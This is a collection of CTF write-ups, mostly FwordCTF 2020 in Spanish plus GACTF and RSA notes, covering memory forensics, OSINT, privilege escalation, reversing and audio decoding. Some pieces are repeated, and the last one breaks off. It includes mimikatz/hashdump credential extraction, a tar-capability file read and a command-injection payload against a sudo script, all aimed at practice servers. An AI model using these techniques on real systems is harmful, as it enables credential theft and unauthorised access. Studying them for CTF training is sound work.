> We have found a flash memory in the crime scene, and it contains 3 images of different villages. So, the criminal may be hiding in one of these villages! Can you locate them?> Flag Format: FwordCTF{}> * Separate between the villages names using underscores ( _ ).> * All the villages names are in lowercase letters.> * There is no symbols in the villages names.
La primera imagen sale tras unas cuantas fotos similares en la búsqueda por imágenes de Yandex. Se trata de un hotel famoso en Llanfairpwllgwyngyll, Gales.
#################
A primera vista la segunda imagen me resultó familiar, y es porque estuve en estuve en este lugar en una carrera de orientación hace años. Se trata de Monsanto, un pueblo en Portugal muy bonito y con unas cuantas cuestas.
Dejando a un lado la experiencia y analizando la imagen, creo que las principales pistas son: * La gran roca tras la casa en medio de la imagen. * El gallo veleta encima de la Iglesia a la derecha de la imagen * La cruz de piedra debajo de la iglesia
Una búsqueda en Google de ```"village" “boulders”``` y Monsanto aparece entre los primeros resultados. Desde Google Street View se puede ubicar la zona de la foto teniendo en cuenta la posición de la Iglesia y de la cruz.
Google Maps: https://www.google.com/maps/@40.0389769,-7.1163152,3a,75y,353.95h,97.3t/data=!3m6!1e1!3m4!1sxPxTHX5MEDkQgzwdIMKnKw!2e0!7i13312!8i6656
#################
Lo que se ve en la tercera imagen parece una especie de parque o cementerio en una ciudad montañosa, con varios edificios pintados de azul.
En la parte derecha de la foto se puede apreciar un logotipo naranja y amarillo con unas barras negras en medio, probablemente perteneciente a algún establecimiento. Tras varias búsquedas en internet y una búsqueda inversa de un dibujo en Paint que no subo porque es muy cutre, doy con que se trata del banco marroquí **Attijariwafa**, el cual tiene bastantes sucursales por el mundo.
Llama la atención que hay bastantes edificios pintados de azul. Realizo la búsqueda ```"morocco" "blue" "paint"``` el principal resultado es la ciudad Chefchaouen, característica por este motivo. Busco en Google Maps su localización y encuentro el banco junto al parque de la foto.
Google Maps: https://www.google.com/maps/@35.168796,-5.2683641,3a,89.1y,122.25h,91.39t/data=!3m8!1e1!3m6!1sAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem!2e10!3e11!6shttps:%2F%2Flh5.googleusercontent.com%2Fp%2FAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem%3Dw203-h100-k-no-pi0-ya229.80328-ro-0-fo100!7i8704!8i4352
**FwordCTF{llanfairpwllgwyngyll_monsanto_chefchaouen}**
## Misc - Secret Array
```nc secretarray.fword.wtf 1337```
Para hallar los valores, realizo la suma del primer valor con el resto, lo cual supone 1336 operaciones. La restante se utiliza para hallar la suma entre el segundo y el tercer elemento, suficiente para resolver la ecuación. Utilizo **Z3**:```python#!/usr/bin/python3from pwn import *from z3 import *
target = remote("secretarray.fword.wtf", 1337)target.recv()
solver = Solver()
LENGTH = 1337# Genera las variablesvariables = [Int(f"v_{i}") for i in range(LENGTH)]
for v in variables: solver.add(v > 0)
# Halla la suma del primer valor con el resto (1336 peticiones)print("[*] Hallando sumas...")for i in range(1, LENGTH): print("[*] " + str(i)) target.sendline("0 {}".format(i)) suma = int(target.recvline().strip()) solver.add(variables[0] + variables[i] == suma)
# Halla la suma del segundo y tercer valor (última petición)target.sendline("1 2")suma = int(target.recvline().strip())solver.add(variables[1] + variables[2] == suma)
# Resuelveprint("[*] Resolviendo...")solver.check()model = solver.model()
done = "DONE "for v in variables: done += str(model[v]) + " "
target.sendline(done)target.interactive()```
**FwordCTF{it_s_all_about_the_math}**
|
# Write-up FwordCTF
* [Forensics - Memory 1](#forensics---memory-1)* [Forensics - Memory 2](#forensics---memory-2)* [Forensics - Memory 3](#forensics---memory-3)* [Forensics - Memory 4](#forensics---memory-4)* [Forensics - Memory 5](#forensics---memory-5)* [Forensics - Infection](#forensics---infection)* [Forensics - Null](#forensics---null)* [Bash - CapiCapi](#bash---capicapi)* [Bash - Bash is fun](#bash---bash-is-fun)* [Reversing - Tornado](#reversing---tornado)* [OSINT - Identity Fraud](#osint---identity-fraud)* [OSINT - Tracking a Criminal](#osint---tracking-a-criminal)* [Misc - Secret Array](#misc---secret-array)
## Forensics - Memory 1
Archivos: foren.7z
> Give the hostname, username and password in format FwordCTF{hostname_username_password}.
Se trata de un dump de memoria, por lo que se utiliza **Volatility**.Con imageinfo obtengo que se trata de un dump con el perfil Win7SP1x64. El nombre del equipo se encuentra en el registro, por lo general en la clave 'HKLM\SYSTEM\ControlSet001\Control\ComputerName\ComputerName'.
Para obtenerlo se listan las hives del registro con el comando **hivelist** para ver la dirección virtual de la subclave **SYSTEM**. ```volatility -f foren.raw --profile=Win7SP1x64 hivelist```
Luego se imprime el valor de la clave Computer name a partir de esta dirección.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ActiveComputerName'```
El nombre del equipo es **FORENWARMUP**.
Para obtener el usuario y la contraseña se pueden usar **hashdump** y el plugin **mimikatz** que te proporciona la contraseña en claro, si está disponible.```volatility -f foren.raw --profile=Win7SP1x64 hashdump```
Para crackear el hash NTLM (el segundo) se puede usar CrackStation: https://crackstation.net/.
Mimikatz proporciona en claro la contraseña:```volatility --plugins=/home/utilidades/plugins-vol -f foren.raw --profile=Win7SP1x64 mimikatz```
**FwordCTF{FORENWARMUP_SBA_AK_password123}**
## Forensics - Memory 2
> I had a secret conversation with my friend on internet. On which channel were we chatting?
En la salida chromehistory se ve que ha estado chateando en un IRC. Hago un dump de la memoria de todos los procesos de chrome visibles en pstree y luego un strings para obtener la flag:
**FwordCTF{top_secret_channel}**
## Forensics - Memory 3
> He sent me a secret file , can you recover it?> PS: NO BRUTEFORCE NEEDED FOR THE PASSWORD
En el mismo dump de memoria de antes, hago un grep ahora con el nombre del canal y el prefijo de mensaje privado para observar la conversación ``PRIVMSG #FwordCTF{top_secret_channel}``
Se puede ver un enlace del que se descarga el archivo “important.zip”, y su contraseña **fw0rdsecretp4ss**.Dentro del ZIP está flag en una imagen:
**FwordCTF{dont_share_secrets_on_public_channels}**
## Forensics - Memory 4
> Since i'm a geek, i hide my secrets in weird places.
La flag está escondida en el registro, en NTUSER.dat.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410 -K 'FLAG'```
**FwordCTF{hiding_secrets_in_regs}**
## Forensics - Memory 5
Hago un dump de la memoria del proceso de Paint y le doy la extensión **.data**, para luego intentar abrirlo en GIMP.
Jugando con los valores de desplazamiento y anchura del diálogo se puede ver la flag. Con el desplazamiento se pueden ver las diferentes imágenes, y con la anchura se modifica una especie de rotación para poder verla bien.
**FwordCTF{Paint_Skills_FTW!}**
## Forensics - Infection
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---infection)
## Forensics - Null
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---null)
## OSINT - Identity Fraud
> Someone stole our logo and created a team named "Eword". In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. ... Can you help me in solving the task?
Buscando las respuestas de la cuenta de Twitter @1337bloggs (https://twitter.com/1337bloggs/with_replies) me encuentro con una conversación con @EwordTeam. En ella le ofrecen unirse al equipo si consigue resolver “algo” que hay en su página de CTFtime, cuyo enlace está en la descripción de la cuenta.
Al acceder a la página (https://ctftime.org/team/131587) no se ve nada aparte de la dirección de Twitter, y es porque eliminaron la pista una vez les notificó el usuario.
Sin embargo, hay una captura en WaybackMachine en la que se aprecia la pista, una dirección de Pastebin: http://web.archive.org/web/20200826195056/https://ctftime.org/team/131587
El contenido del Pastebin es:```Hi Fred,
You said that you are good in OSINT. So, you need to prove your skills to join Eword.
Your task:Find the leader of Eword, then find the flag in one of his social media accounts.
Hint:https://pastebin.com/PZvaSjA0```
El hint que proporcionan es un JPG con una captura de una historia de Instagram, en la que se puede ver un hotel (con su nombre).Con una búsqueda rápida en Google veo que se trata del hotel Hilton Podgorica Crna Gora, y con la búsqueda "Hilton Podgorica Crna Gora" "advisor" "eword" encuentro una opinión de un tal "Wokaihwokomas Kustermann" en la que se menciona el nombre del equipo.
El primer pastebin indicaba que la flag estaba en una de las redes sociales del líder, y en el perfil del usuario se ve la pista “check_my_instagram”, por lo que lo busco en Instagram. En las historias destacadas se puede ver la misma imagen del hotel, y luego una en la que sugiere que las fotos de perfil de Instagram sean cuadradas. Esto parece una pista por lo que trato de obtener la imagen de perfil con el depurador de red del navegador. Sin embargo, la foto que se obtiene es muy pequeña, y en ella se puede apreciar que hay algo escrito en la parte inferior, pero que es ilegible.
Para ver la imagen de perfil a tamaño real utilizo la página Instadp (https://www.instadp.com/fullsize/wokaihwokomaskustermann)Ahora sí se puede apreciar la flag.
**Eword{c0ngraAatulationZzZz_aNd_w3lCom3_to_Eword_Team_!}**
## Bash - CapiCapi
> You have to do some privilege escalation in order to read the flag! Use the following SSH credentials to connect to the server, each participant will have an isolated environment so you only have to pwn me! >> SSH Credentials > ssh -p 2222 [email protected] > Password: FwordxKahla
Listando las capabilities (```getcap -r / 2>/dev/null```) me encuentro con que el programa **/usr/bin/tar** tiene la capacidad de leer cualquier archivo del sistema (**cap_dac_read_search+ep**). Para acceder a la flag bastaría con comprimir la flag para luego descomprimirla en un archivo que sí tenga permiso de lectura para el usuario actual:
```getcap -r / 2>/dev/null/usr/bin/tar cvf /tmp/flag.txt.tar flag.txtcd /tmp/usr/bin/tar xvf flag.txt.tarcat flag.txt```
**FwordCTF{C4pAbiLities_4r3_t00_S3Cur3_NaruT0_0nc3_S4id}**
## Bash - Bash is fun
> Bash is fun, prove me wrong and do some privesc. >> SSH Credentials > ssh -p 2222 [email protected] > Password: FwOrDAndKahl4FTW
La flag solo puede ser leída por root o por un usuario del grupo **user-privileged**:
La salida de ```sudo -l``` indica que puedo ejecutar el script **welcome.sh** como user-privileged, el cual puede ver el contenido de flag.txt. El script es el siguiente:```bash#!/bin/bashname="greet"while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do case $1 in -V | --version ) echo "Beta version" exit ;; -n | --name ) shift; name=$1 ;; -u | --username ) shift; username=$1 ;; -p | --permission ) permission=1 ;;esac; shift; doneif [[ "$1" == '--' ]]; then shift; fi
echo "Welcome To SysAdmin Welcomer \o/"
eval "function $name { sed 's/user/${username}/g' welcome.txt ; }"export -f $nameisNew=0if [[ $isNew -eq 1 ]];then $namefi
if [[ $permission -eq 1 ]];then echo "You are: " idfi```
Se puede llevar a cabo una inyección de código mediante el parámetro **username**, el cual es utilizado en el sed para sustituir la palabra ‘user’ contenida en welcome.txt y mostrarlo por pantalla. El if relativo a la variable ‘isNew’ no se ejecuta nunca, pero se puede conseguir la ejecución de la función otorgando el valor **‘id’** al parámetro **'name'**, puesto que con el parámetro **permission** se puede ejecutar la sentencia ‘id’, que en vez de ser el comando /usr/bin/id sería la nueva función exportada.
La flag se leería entonces así: ```sudo -u user-privileged /home/user1/welcome.sh -u "pwned/g' flag.txt; echo '" -n id -p```. Nótese el echo del final con la comilla para cerrar correctamente el resto del comando y que no genere un error de sintaxis.
**FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}**
## Reversing - Tornado
Archivos: Tornado.7z
El archivo comprimido contiene un script en Python que desordena y cifra una flag con AES, cuya clave es conocida. Modifico el script para realizar funciones de descifrado, invirtiendo el orden. Sin embargo, la flag está desordenada, ya que pasó por la función **shuffle** antes de ser cifrada. Esta función es vulnerable porque asigna como semilla un caracter de la propia flag. Como la flag tiene el formato **FwordCTF{**...**}**, se puede iterar por cada caracter diferente de la flag y comprobar si las posiciones finales de la flag incompleta son iguales.
Un **detalle importante** que me hizo perder bastante tiempo, es que debe correrse con **Python3**. Entre las versiones de Python diferentes no se genera la misma secuencia de números para la misma semilla.
```python#!/usr/bin/python3#-*- encoding=UTF8 -*-from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom Crypto.Util.number import long_to_bytesfrom binascii import hexlify, unhexlifyimport random
key = "very_awes0m3_k3y"flag = "FwordCTF{W!Pr35gp_ZKrJt[NcV_Kd-/NmJ-8ep(*A48t9jBLNrdFDqSBGTAt}" # Cadena aleatoria de pruebaassert len(flag) == 62assert len(key) == 16
def to_blocks(text): return [text[i*2:(i+1)*2].encode() for i in range(len(text)//2)]
def random_bytes(seed): random.seed(seed) return long_to_bytes(random.getrandbits(8*16))
def encrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) plain_pad = pad(block, 16) return hexlify(cipher.encrypt(plain_pad)).decode()
def encrypt(txt, key): res = "" blocks = to_blocks(txt) for block in blocks: res += encrypt_block(block, key) return res
def translate(txt,l,r): return txt[:l]+txt[r:]+txt[l:r]
def shuffle(txt): seed=random.choice(txt) random.seed(seed) nums = [] for _ in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def slice(txt, n): return [txt[index : index + n] for index in range(0, len(txt), n)]
def decrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) return unpad(cipher.decrypt(unhexlify(block.encode())), 16).decode()
def shuffle2(txt, seed): random.seed(seed) nums = [] for i in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def reverse_translate(txt, l, r): n = len(txt) - r + l res = txt[:l] + txt[n:] + txt[l:n] assert len(res) == len(txt) return res
def crack(encrypted): # Descifra los bloques blocks = slice(encrypted, 32) decrypted = "".join(decrypt_block(block, key) for block in blocks) print("[*] Descifrado: " + decrypted) # Ahora la flag está shuffleada, por lo que se obtienen los indices # de los caracteres unicos en la parte que se conoce de la flag known = "FwordCTF{}" uniqueKnown = "" for c in known: if decrypted.count(c) == 1: uniqueKnown += c print("[*] Caracteres únicos de la parte conocida de la flag: " + uniqueKnown) indexes = [decrypted.index(c) for c in uniqueKnown] print("[*] Indices aleatorizados de los caracteres: " + str(indexes)) # Se itera el charset de la flag descifrada, ya que la semilla es un caracter de esta, # y se busca con cuales de ellas se obtienen los mismos indices charset = [] for char in decrypted: if char not in charset: charset.append(char) dummy = "FwordCTF{BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB}" assert len(dummy) == 62
seeds = [] for char in charset: res, _ = shuffle2(dummy, char) i = [res.index(c) for c in uniqueKnown] if indexes == i: seeds.append(char) print("[*] Posibles semillas: " + str(seeds)) # Se obtiene la secuencia de numeros aleatorios generados en la funcion shuffle for seed in seeds: _, nums = shuffle2(dummy, seed) # Aplica las operaciones inversas solution = decrypted for lr in nums: solution = reverse_translate(solution, lr[0], lr[1]) print("[*] Posible solución con semilla {}: {}".format(seed, solution))
def shuffleEncrypt(txt, key): shuffled, nums = shuffle(txt) print("[*] Desordenada: " + shuffled) print("[*] Nums: " + str(nums)) return encrypt(shuffled, key)
#encrypted = shuffleEncrypt(flag, key)encrypted = "3ce29d5f8d646d853b5f6677a564aec6bd1c9f0cbfac0af73fb5cfb446e08cfec5a261ec050f6f30d9f1dfd85a9df875168851e1a111a9d9bfdbab238ce4a4eb3b4f8e0db42e0a5af305105834605f90621940e3f801e0e4e0ca401ff451f1983701831243df999cfaf40b4ac50599de5c87cd68857980a037682b4dbfa1d26c949e743f8d77549c5991c8e1f21d891a1ac87166d3074e4859a26954d725ed4f2332a8b326f4634810a24f1908945052bfd0181ff801b1d3a0bc535df622a299a9666de40dfba06a684a4db213f28f3471ba7059bcbdc042fd45c58ae4970f53fb808143eaa9ec6cf35339c58fa12efa18728eb426a2fcb0234d8539c0628c49b416c0963a33e6a0b91e7733b42f29900921626bba03e76b1911d20728254b84f38a2ce12ec5d98a2fa3201522aa17d6972fe7c04f1f64c9fd4623583cc5a91cc471a13d6ab9b0903704727d1eb987fd5d59b5757babb92758e06d2f12fd7e32d66fe9e3b9d11cd93b11beb70c66b57af71787457c78ff152ff4bd63a83ef894c1f01ae476253cbef154701f07cc7e0e16f7eede0c8fa2d5a5dd5624caa5408ca74b4b8c8f847ba570023b481c6ec642dac634c112ae9fec3cbd59e1d2f84f56282cb74a3ac6152c32c671190e2f4c14704ed9bbe74eaafc3ce27849533141e9642c91a7bf846848d7fbfcd839c2ca3b"print("[*] Cifrado: " + encrypted)
crack(encrypted)```
**FwordCTF{peekaboo_i_am_the_flag_!\_i_am_the_danger_52592bbfcd8}**
## OSINT - Tracking a Criminal
Archivos: Villages.zip
> We have found a flash memory in the crime scene, and it contains 3 images of different villages. So, the criminal may be hiding in one of these villages! Can you locate them?> Flag Format: FwordCTF{}> * Separate between the villages names using underscores ( _ ).> * All the villages names are in lowercase letters.> * There is no symbols in the villages names.
La primera imagen sale tras unas cuantas fotos similares en la búsqueda por imágenes de Yandex. Se trata de un hotel famoso en Llanfairpwllgwyngyll, Gales.
#################
A primera vista la segunda imagen me resultó familiar, y es porque estuve en estuve en este lugar en una carrera de orientación hace años. Se trata de Monsanto, un pueblo en Portugal muy bonito y con unas cuantas cuestas.
Dejando a un lado la experiencia y analizando la imagen, creo que las principales pistas son: * La gran roca tras la casa en medio de la imagen. * El gallo veleta encima de la Iglesia a la derecha de la imagen * La cruz de piedra debajo de la iglesia
Una búsqueda en Google de ```"village" “boulders”``` y Monsanto aparece entre los primeros resultados. Desde Google Street View se puede ubicar la zona de la foto teniendo en cuenta la posición de la Iglesia y de la cruz.
Google Maps: https://www.google.com/maps/@40.0389769,-7.1163152,3a,75y,353.95h,97.3t/data=!3m6!1e1!3m4!1sxPxTHX5MEDkQgzwdIMKnKw!2e0!7i13312!8i6656
#################
Lo que se ve en la tercera imagen parece una especie de parque o cementerio en una ciudad montañosa, con varios edificios pintados de azul.
En la parte derecha de la foto se puede apreciar un logotipo naranja y amarillo con unas barras negras en medio, probablemente perteneciente a algún establecimiento. Tras varias búsquedas en internet y una búsqueda inversa de un dibujo en Paint que no subo porque es muy cutre, doy con que se trata del banco marroquí **Attijariwafa**, el cual tiene bastantes sucursales por el mundo.
Llama la atención que hay bastantes edificios pintados de azul. Realizo la búsqueda ```"morocco" "blue" "paint"``` el principal resultado es la ciudad Chefchaouen, característica por este motivo. Busco en Google Maps su localización y encuentro el banco junto al parque de la foto.
Google Maps: https://www.google.com/maps/@35.168796,-5.2683641,3a,89.1y,122.25h,91.39t/data=!3m8!1e1!3m6!1sAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem!2e10!3e11!6shttps:%2F%2Flh5.googleusercontent.com%2Fp%2FAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem%3Dw203-h100-k-no-pi0-ya229.80328-ro-0-fo100!7i8704!8i4352
**FwordCTF{llanfairpwllgwyngyll_monsanto_chefchaouen}**
## Misc - Secret Array
```nc secretarray.fword.wtf 1337```
Para hallar los valores, realizo la suma del primer valor con el resto, lo cual supone 1336 operaciones. La restante se utiliza para hallar la suma entre el segundo y el tercer elemento, suficiente para resolver la ecuación. Utilizo **Z3**:```python#!/usr/bin/python3from pwn import *from z3 import *
target = remote("secretarray.fword.wtf", 1337)target.recv()
solver = Solver()
LENGTH = 1337# Genera las variablesvariables = [Int(f"v_{i}") for i in range(LENGTH)]
for v in variables: solver.add(v > 0)
# Halla la suma del primer valor con el resto (1336 peticiones)print("[*] Hallando sumas...")for i in range(1, LENGTH): print("[*] " + str(i)) target.sendline("0 {}".format(i)) suma = int(target.recvline().strip()) solver.add(variables[0] + variables[i] == suma)
# Halla la suma del segundo y tercer valor (última petición)target.sendline("1 2")suma = int(target.recvline().strip())solver.add(variables[1] + variables[2] == suma)
# Resuelveprint("[*] Resolviendo...")solver.check()model = solver.model()
done = "DONE "for v in variables: done += str(model[v]) + " "
target.sendline(done)target.interactive()```
**FwordCTF{it_s_all_about_the_math}**
|
## Concept* RSA with broken prime generator* factor the modulus
## Observations* The primes are generated in chunks of 64 bit.* The methods starts with a random seed an proceeds deterministically, but it is *not* necessary to recover the initial seed.* The value of s at the beginning of the final iteration suffices.
## Approach* Let $s_p$ be the value of $s$ in the final loop for generating $p$ and likewise $s_q$ for $q$.* Then, we have $p = \sum_{k=0}^{15} (a^k \cdot s_p \bmod 256) \cdot 2^{1024-64k}$, likewise for $q$.* We plug in the formulas in $n=pq$ and expand, to get the leading terms $s_ps_q \cdot 256^{15\cdot 64} + ((as_p \bmod 2^{64})s_q + (as_q\bmod 2^{64})s_p) \cdot 2^{14\cdot 64}$ and the lowest term $a^{30}s_ps_q$.* The second highest term may cause a carry bit for the highest term (or maybe not).* Hence, we get the higher bits from $s_ps_q$ via $n >> (2048 -64) -1$. (If we assume no carry bit, we do not get a solution.)* As $a$ is odd, we can invert it modulo $2^{64}$, so from the lowest term we obtain $s_ps_q \bmod 2^{64} = a^{-30}\cdot n \bmod 2^{64}$* Having both the upper 64 bits and the lower 64 bits, we know $s_ps_q$.* As this is a (relatively) small number of 128 bit, we can factor it into $s_ps_q = 3 \cdot 5 \cdot 41 \cdot 43 \cdot 509 \cdot 787 \cdot 31601 \cdot 258737 \cdot 28110221 \cdot 93627982031$ (10 primes)* This leaves $2^{10} = 1024$ possibilities for $s_p$, which divisor it is. (512 if we use symmetry, so wlog $3\mid s_p$)* We try all choices, and construct $p$ accordingly.* If $p$ is a prime, we check whether it is a divisor of $n$. (In fact, there is only one prime among our 512 attempts.)* If so, we have factored $n$, so we completely broke the key and compute the flag:`CTF{__donald_knuths_lcg_would_be_better_well_i_dont_think_s0__}`
|
# GACTF 2020 - Misc - oldmodem## Solver
Solved by luiscarloscb ( [looking for a team to join](mailto:[email protected]), new to CTFs )
---
## Description
old modem (bell 202)
https://drive.google.com/drive/folders/1T94OrcveHAZTmTCwaVCojLXYlJc3lL3f?usp=sharing
---## Solution
Attached file was just named oldmodem, no extension.
Check possible headers with `binwalk`:
/mnt/d/ctf/GACTF2020/modem$ binwalk oldmodem DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 28597, uncompressed size: 1938764, name: encoded 28739 0x7043 End of Zip archive
Use `unzip` to decompress the file:
/mnt/d/ctf/GACTF2020/modem$ unzip oldmodem Archive: oldmodem inflating: encoded
The new file, *encoded* also has no extension, so we try `binwalk` again. Since there are no results here, we check the first bytes for magic numbers with `xxd`.
/mnt/d/ctf/GACTF2020/modem$ xxd encoded | head -n 5 00000000: 5249 4646 4495 1d00 5741 5645 666d 7420 RIFFD...WAVEfmt 00000010: 1000 0000 0100 0100 80bb 0000 0077 0100 .............w.. 00000020: 0200 1000 6461 7461 2095 1d00 0000 f213 ....data ....... 00000030: 9727 133a 4c4b 825a 8167 1072 b879 6f7e .'.:LK.Z.g.r.yo~ 00000040: ff7f 6f7e b879 1072 8167 825a 4c4b 133a ..o~.y.r.g.ZLK.: The first bytes tell us that the file is a WAV file, in a RIFF container (https://en.wikipedia.org/wiki/Resource_Interchange_File_Format).
We add the wav extension and play the file, the sounds are indeed modem-like, so the flag is probably saved as audio modem tones, this also explains why the problem description specified the Bell 202 modem.
The fastest way to extract the data from the audio is to use [minimodem](http://www.whence.com/minimodem/)
By checking minimodem's man page, we can find the options we need, specifically:
* `-r` to specify that we are on receive or read mode (as opposed to generating the audio tone)* `-f` to select the file to read from* `1200` as baud mode, since the Bell202 modem had 1200 bps transmission.
Putting everything together, we just run `minimodem` with the appropriate options:
/mnt/d/ctf/GACTF2020/modem$ minimodem -r -f encoded 1200 ### CARRIER 1200 @ 1200.0 Hz ### The Bell 202 modem was an early (1976) modem standard developed by the Bell System. It specifies audio frequency-shift keying (AFSK) to encode and transfer data at a rate of 1200 bits per second, half-duplex (i.e. transmission only in one direction at a time). These signalling protocols, also used in third-party modems, are referred to generically as Bell 202 modulation, and any device employing it as Bell-202-compatible. Bell 202 AFSK uses a 1200 Hz tone for mark (typically a binary 1) and 2200 Hz for space (typically a binary 0). In North America, Bell 202 AFSK modulation is used to transmit Caller ID information over POTS lines in the public telephone network. It is also employed in some commercial settings. In addition, Bell 202 is the basis for the most commonly used physical layer for the HART Communication Protocol - a communication protocol widely used in the process industries. Surplus Bell 202 modems were used by amateur radio operators to construct the first packet radio stations, despite its low signalling speed. A modified Bell 202 AFSK modulation, a common physical layer for AX.25, remains the standard for amateur VHF operation in most areas. Notably, Automatic Packet Reporting System (APRS) transmissions are encoded this way on VHF. On HF, APRS uses Bell 103 modulation. The Bell 202 standard was adopted around 1980 as the communications standard for subsea oil and gas production control systems, pioneered by the then FSSL (Ferranti Subsea Systems Ltd.) Controls, a spin-out company from the former TRW - Ferranti joint venture in the UK. This modulation standard was retained until around 2000, when it was superseded by faster FSK and PSK modulation methods, although it is still utilised for extension of existing control systems that are already configured for this technique. The 202 standard permitted useful techniques such as multi-dropping of slave modems to allow multiple nodes to be connected to the host via a single modem channel. Other techniques have included superposition of signal on power conductors, and distances in excess of 80 km were achieved in subsea applications using these techniques. This has been enhanced through the use of Manchester encoding over the FSK link, to provide simple Modulo-2 RZ (return to Zero) bit error detection and suppression improvement over these long distances. Here is the flag: GACTF{9621827f-a41b-4f27-8d72-9e0b77415a4f} ### NOCARRIER ndata=2423 confidence=4.397 ampl=0.997 bps=1200.00 (rate perfect) ###
The final step is to input the flag and we're done!. |
# Fword CTF 2020
## Auto
### Disclaimer
This is a write-up of how I, glamorous_noob of the team kawaii-hexabutts did this challenge. I am new to CTFs, so I don't have any guarantee about quality. It is possible that better and faster solutions or write-ups exist. That being said, I hope you find something useful in here.
Also, since this write-up aims at being as clear as possible, I will organize the walkthrough in a "more ideal" way compared to what happened in reality. Namely, I won't talk about the things I wasted time on, and will I appear more skillful than I really am. It's up to you to know that this is not true, and that I'm just an aspiring glamorous noob.
Have fun reading! (and, you know, happy hacking)
### First impression
This challenge is called "Auto". When downloading the archive from the CTF platform you read something along the lines of "You might need a robot for this", and when you extract said archive, you find 400 files named `outxxx` where the `xxx` part is a number between `000` and `399` both included.
The challenge is SCREAMING automation, and that's a very useful piece of information to keep in mind as you'll see in the next sections. Knowing I'd have to automate something, my main focus was on similarities and differences between files.
### Getting the big picture
I started by importing the first two files, `out000` and `out001`, in my go-to tool for static analysis, Ghidra. Searching for strings seemed like a sensible first step, and here's what I found in `out000`:
Same strings were found in the other file.
Following the `"GOOOOOOOOOOOOOOOOOOOD"` string reference, we find that it's used in the main function. Although I usually prefer assembly if I'm looking to correctly understand the code (with some exceptions), I like the decompiler view in Ghidra and how it gives a general idea of the function's flow of execution. Here's how the main function looks like in `out000`, before any intervention from my part (focus on the parts I underlined/ framed):
Without diving in details, we can see some interesting stuff:
- `param_2[1]` in the `main` function is definitely a command line argument. `param_1` is definitely `argc`. This program takes one command line argument. That will be our input and that's what will control the program's behavior.- Two outcomes in these if/else scenarios are interesting, the one where `"the end"` get printed, and the one where the `system` function gets executed.- If the `system` function gets executed, it will do so with the string used as a destination for the `sprintf`call on line 25
Without getting lost in the details, let's look at `out001` and see how similar it is to `out000`!
It's almost identical to `out000`'s main function, except for the 5 values I underlined. I suppose then that all 400 hundred files have exactly the same code, except for the 5 values that change every time, and that I would need to:
1. automatically extract these values from all files2. do something with them
And that's pretty sufficient for a "big picture" view of this challenge.
### Extracting the values
A little pause from the analysis to see how one would go about extracting these values from the 400 files. My go-to language in these situations, like many other people, is python. My approach for the extraction was this:
1. Hardcode the offset for each needed value2. Open every file, read it, get the values at the hardcoded offsets
First things first, I needed to make sure that the values existed at the same offsets across all files. Looking at these screenshots from `out000` and `out001` respectively, we can see that the first constant (`0x1f0` in `out000` and `0x292` in `out001`) has consistently the same virtual address `0x1012f3 + 3 = 0x1012f6` and is coded on 4 bytes in little endian.
The only thing missing is to know the real offset in the binary corresponding to this virtual address (the version of Ghidra I'm using doesn't keep that kind of information). For this I can think of two ways:
1. The less reliable way, is to make the educated guess that if the virtual address here in Ghidra is `0x1012f6`, the the offset is the least significant two bytes, `0x12f6`, without the added `0x100000`.2. The more reliable way, is using objdump (it has to be a 64bit version of objdump) with the `-F` option. So it gives something like `objdump -dF out000 | less` and then you'll see the offsets.
Applying the previous logic to all 5 constants gives me all 5 offsets needed to make this piece of code
```pythondef read_constants(filename): f = open(filename, 'rb') data = f.read(0x1380) # highest offset needed is 0x1371, so reading only 0x1380 is enough f.close() offset = 0x12f6 a = unpack('<L', data[offset:offset+4])[0] #interpreting the 4 bytes as a little endian integer offset = 0x131d b = unpack('<L', data[offset:offset+4])[0] # same offset = 0x134b c = unpack('<L', data[offset:offset+4])[0] # same offset = 0x1371 d = unpack('<L', data[offset:offset+4])[0] # same shift = data[0x131b] # the value is coded on only one byte in the executable return a,b,c,d,shift```
The superior reader might notice that `shift` exists at a smaller offset than `b`, `c` and `d` and yet it comes after them in my code. That's because I realized it varied from one file to another only half-way through after I'd already coded this function. Sue me.
### What to do with these values
Now that we can have our values whenever we want, comes the greater question: what to do with them?
Well, first of all, we know that they are used in some mad if statement leading to where we want to go. If the condition in that if statement evaluates to false, we will go to the `NOOOOOOOOOOOOOOOOOOOO` part. So now all we have to do is to understand the math in the if statement, and understand how our input to the program will affect it.
You *could* just try to figure it out from the decompiler's version, and maybe fight your way through retyping and renaming, but I think this is one of the cases where I prefer by far the assembly approach. Let's take it step by step:
Here's the assembly part showing what happens right after the `sprintf` call that we saw in the decompiler window. I went ahead and renamed some labels and stack variables like `argv1`. It can easily be done by checking the references of when the variable was used (especially when it was written to) and deducing what it contains. `local_34` is a default name. Same thing for the `noooooooooooo` label, I just followed it and saw it lead to printing the "No" string.
Anyway, here's some pseudo-code of what this assembly does:
